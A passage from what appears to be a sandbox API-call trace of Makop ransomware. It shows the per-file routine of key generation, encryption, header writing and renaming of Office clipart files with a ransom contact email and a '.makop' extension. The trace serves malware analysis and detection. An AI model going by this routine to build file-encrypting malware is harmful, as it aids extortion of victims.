nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.753] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.753] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.753] GetProcessHeap () returned 0x48a0000 [0151.753] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.753] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.753] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.753] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.753] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.754] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.754] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.755] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.755] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.755] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.755] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.755] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6ca8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6ca8, lpOverlapped=0x0) returned 1 [0151.757] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6cb0, dwBufLen=0x6cb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6cb0) returned 1 [0151.757] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.757] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6cb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6cb0, lpOverlapped=0x0) returned 1 [0151.758] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.758] SetEndOfFile (hFile=0xf0) returned 1 [0151.765] GetProcessHeap () returned 0x48a0000 [0151.765] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.765] GetProcessHeap () returned 0x48a0000 [0151.765] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.765] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.767] CloseHandle (hObject=0xf0) returned 1 [0151.767] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8632900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8632900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x1088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01805_.WMF", cAlternateFileName="")) returned 1 [0151.767] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF") returned 63 [0151.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.768] GetProcessHeap () returned 0x48a0000 [0151.769] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.769] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.769] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.769] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.773] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.773] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.773] GetProcessHeap () returned 0x48a0000 [0151.773] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.773] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.774] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.774] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.774] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.774] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.774] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.774] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.774] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.774] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.775] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.775] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1088, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1088, lpOverlapped=0x0) returned 1 [0151.776] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1090, dwBufLen=0x1090 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1090) returned 1 [0151.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.776] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1090, lpOverlapped=0x0) returned 1 [0151.776] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.777] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.777] SetEndOfFile (hFile=0xf0) returned 1 [0151.782] GetProcessHeap () returned 0x48a0000 [0151.783] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.783] GetProcessHeap () returned 0x48a0000 [0151.783] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.783] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.784] CloseHandle (hObject=0xf0) returned 1 [0151.784] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32d8d00, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32d8d00, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01905_.WMF", cAlternateFileName="")) returned 1 [0151.784] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF") returned 63 [0151.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.786] GetProcessHeap () returned 0x48a0000 [0151.786] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.786] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.786] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.791] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.791] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.791] GetProcessHeap () returned 0x48a0000 [0151.791] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.791] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.791] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.791] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.791] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.791] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.791] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.792] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.792] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.792] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.792] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.792] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.792] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x578, lpOverlapped=0x0) returned 1 [0151.792] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x580, dwBufLen=0x580 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x580) returned 1 [0151.792] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.792] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x580, lpOverlapped=0x0) returned 1 [0151.793] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.793] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.793] SetEndOfFile (hFile=0xf0) returned 1 [0151.799] GetProcessHeap () returned 0x48a0000 [0151.799] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.799] GetProcessHeap () returned 0x48a0000 [0151.799] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.799] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.800] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.801] CloseHandle (hObject=0xf0) returned 1 [0151.802] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3086, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01954_.WMF", cAlternateFileName="")) returned 1 [0151.802] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF") returned 63 [0151.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.804] GetProcessHeap () returned 0x48a0000 [0151.805] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.805] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.805] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0151.809] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.809] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.809] GetProcessHeap () returned 0x48a0000 [0151.809] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.809] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.809] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.809] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.809] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.809] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.809] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.810] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.810] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.810] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.810] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.810] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.810] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3086, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3086, lpOverlapped=0x0) returned 1 [0151.812] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3090, dwBufLen=0x3090 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3090) returned 1 [0151.812] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.812] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3090, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3090, lpOverlapped=0x0) returned 1 [0151.812] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.812] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.812] SetEndOfFile (hFile=0xf0) returned 1 [0151.819] GetProcessHeap () returned 0x48a0000 [0151.819] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.819] GetProcessHeap () returned 0x48a0000 [0151.819] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.819] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.820] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.821] CloseHandle (hObject=0xf0) returned 1 [0151.821] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02009_.WMF", cAlternateFileName="")) returned 1 [0151.821] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF") returned 63 [0151.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft 